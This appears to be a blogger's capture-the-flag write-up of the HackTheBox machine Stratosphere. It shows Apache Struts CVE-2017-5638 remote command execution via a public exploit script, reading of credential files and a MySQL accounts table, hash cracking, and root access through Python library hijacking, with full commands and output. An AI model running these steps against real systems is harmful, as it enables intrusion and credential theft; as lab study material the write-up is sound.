HackTheBox - Stratosphere Write-up
Stratosphere retires this week at HTB. I really liked this box for its awesome privilege escalation (privesc) and the rabbit holes. So without further ado, this is your pilot Minato reporting, looks like there's some turbulence... Lets hit stratosphere!!!
Stratosphere retires this week at HTB. I really liked this box for its awesome privilege escalation (privesc) and the rabbit holes. So without further ado, this is your pilot Minato reporting, looks like there's some turbulence... Lets hit stratosphere!!!
Nmap Scan
Let's start with a quick nmap -
nmap -sV -T4 -oN stratos.nmap 10.10.10.64
Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-30 10:27 IST
Nmap scan report for 10.10.10.64
Host is up (0.16s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp open http
8080/tcp open http-proxy
We have 22,80 and 8080 open. Both ports seem to have the same page and there's nothing interesting either on the page or the source. Let's dirsearch it.
# python3 dirsearch.py -u http://10.10.10.64:8080/ -t 20 -e ''
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: | Threads: 20 | Wordlist size: 220521
Error Log: /home/zadmin/Documents/wiz/dirsearch/logs/errors-18-08-30_11-23-07.log
Target: http://10.10.10.64:8080/
[11:23:07] Starting:
[11:23:08] 200 - 2KB - /
[11:23:53] 302 - 0B - /manager -> /manager/
[11:25:15] 302 - 0B - /Monitoring -> /Monitoring/
-------------------------------SNIP-----------------------
We spot /manager/ which is the console for Apache tomcat, so it looks like the server is running tomcat. Heading to /Monitoring/ redirects me to http://10.10.10.64:8080/Monitoring/example/Welcome.action
which has a register and sign in functionality both of which were inactive. The extension .action
is used sometimes instead of .do
for apache struts action. Which reminded me of CVE 2017-5638 which allows RCE through OGNL ( Object graph navigation language).
Exploiting Struts to Get RCE
Apache Struts is a model-view-controller framework for creating Java web applications. Struts has suffered from a couple of vulnerabilities using the technique of object-graph navigation language (OGNL) injection. OGNL is an expression language that allows the setting of object properties and execution of various methods of Java classes. OGNL can be used maliciously to perform remote code execution attacks against Apache servers.
An attacker can use Content-Type HTTP header by setting it to Content-Type: %{(#_='multipart/form-data').(other bad stuff)
and submit OGNL expressions, which would satisfy the condition for it to be accepted by the Jakarta Multipart parser, after which the parser throws an exception and displays an error. But, the problem is that after an error is thrown the Content-type header isn't escaped and any expression in ${..}
is treated as an OGNL expression and evaluated by the server. This flaw can be exploited to achieve command execution. (Those were a few lines of me acting smart, hope you understood how the RCE works. :p).
Let's see if nmap find its vulnerable or not.
# nmap -p8080 --script http-vuln-cve2017-5638 --script-args path=/Monitoring/ 10.10.10.64
Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-30 12:17 IST
Nmap scan report for 10.10.10.64
Host is up (0.15s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| http-vuln-cve2017-5638:
| VULNERABLE:
| Apache Struts Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2017-5638
| Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
| vulnerability via the Content-Type header.
|
| Disclosure date: 2017-03-07
| References:
| http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
|_ https://cwiki.apache.org/confluence/display/WW/S2-045
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
Oh yes, it does! Now for the exploitation, I'll be using this script - https://www.exploit-db.com/exploits/41570/, which opens in a memory shell, execute commands and rewrite the HTTP response object with command execution results.
root@zadmin-Lenovo-G580:/tmp# python strutsrce.py http://10.10.10.64:8080/Monitoring/ id
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: id
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
Here we see id
getting executed.11 Time to enumerate!!
The first thing which came to mind was to read the tomcat-users config file and get the creds for manager console. (1337 huh? ). I got the creds, but it was it was a big troll. Well, that was depressing. Continuing further, there was a db_connect file in the pwd
. It seemed to have creds for the database (db).
# python strutsrce.py http://10.10.10.64:8080/Monitoring/ "cat db_connect"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: cat db_connect
[ssn]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin
Now, any sane person would prefer the first set of creds over the second, which was another big troll. After hours of wasting time trying to poke these creds at any running service, I decided to give admin:admin
a try and was enlightened when it worked for mysql. (Oh and I forgot to mention the infinite attempts I made to get a reverse shell, with a ton of one-liners, scripts and other junk. Looks like the server had iptables configured.)
# python strutsrce.py http://10.10.10.64:8080/Monitoring/ 'mysql -u admin -padmin -e "show databases"'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: mysql -u admin -padmin -e "show databases"
Database
information_schema
users
You can use -p<password> without any spaces to force login from the command line and use the -e flag to execute commands. We see a db users, let's check its contents.
# python strutsrce.py http://10.10.10.64:8080/Monitoring/ 'mysql -u admin -padmin -e "use users;show tables"'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: mysql -u admin -padmin -e "use users;show tables"
Tables_in_users
accounts
# python strutsrce.py http://10.10.10.64:8080/Monitoring/ 'mysql -u admin -padmin -e "use users;select * from accounts"'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: mysql -u admin -padmin -e "use users;select * from accounts"
fullName password username
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard
Privilege Escalation (PrivEsc)
Boom, we got creds and thankfully it works for ssh login. Once I got in, before doing enumeration I check what sudo perms do we have.
richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
richard@stratosphere:~$
So, we can execute test.py as root. Let's check what that is about.
richard@stratosphere:~$ cat test.py
#!/usr/bin/python3
import hashlib
def question():
q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
print("Sorry, that's not right")
return
print("You got it!")
q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
sha1 = hashlib.sha1()
sha1.update(q2.encode())
if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
print("Nope, that one didn't work...")
return
print("WOW, you're really good at this!")
q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
md4 = hashlib.new('md4')
md4.update(q3.encode())
if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
print("Yeah, I don't think that's right.")
return
print("OK, OK! I get it. You know how to crack hashes...")
q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
blake = hashlib.new('BLAKE2b512')
blake.update(q4.encode())
if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
print("You were so close! urg... sorry rules are rules.")
return
import os
os.system('/root/success.py')
return
question()
Looks like our prayers have been answered. :) Just a bunch of hashes to crack and execute /root/success.py
, no sweat mate. So I put on my cracking face and started cracking dem hashes. The first three were md5, sha1 and md4 hashes.
Those were pretty easy and crackstation dealt with them, but the last one was a blake2b512 hash, so I had to john, it was all worth in return for root but...
richard@stratosphere:~$ sudo /usr/bin/python /home/richard/test.py
Solve: 5af003e100c80923ec04d65933d382cb
kaybboo!
You got it!
Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
ninjaabisshinobi
WOW, you're really good at this!
How about this? 91ae5fc9ecbca9d346225063f23d2bd9
legend72
OK, OK! I get it. You know how to crack hashes...
Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
Fhero6610
sh: 1: /root/success.py: not found
Well played, mate. This one seems to have more rabbit holes than Rabbit. -_-
After this achievement I got stuck for quite a while, enumerating the whole box and other stupid stuff. But then, a friend of mine told me to look at the head of the script again. (Well, of course, I was dumb to spot it myself). That's when I came across this excellent post by rastating: https://rastating.github.io/privilege-escalation-via-python-library-hijacking/.
Python considers the folder in which the script is being executed above the path of the libraries, which we can use to our advantage and hijack the execution. As you can see the script import hashlib. Hence, we can create a script hashlib.py in the home folder and get execution. Here's what I did.
richard@stratosphere:~$ echo 'import os;os.system("/bin/bash")' > hashlib.py
richard@stratosphere:~$ sudo /usr/bin/python /home/richard/test.py
root@stratosphere:/home/richard# id
uid=0(root) gid=0(root) groups=0(root)
root@stratosphere:/home/richard# cat /root/root.txt
----------------------HAHA NO------------------------------
root@stratosphere:/home/richard#
And bam!!! We are root now.
So that's it for this week. See you later!
Additional Stuff
Apache struts got hit again!
Check out this awesome post by TheMiddle - https://www.secjuice.com/apache-struts2-cve-2018-11776/ for more awesome stuff.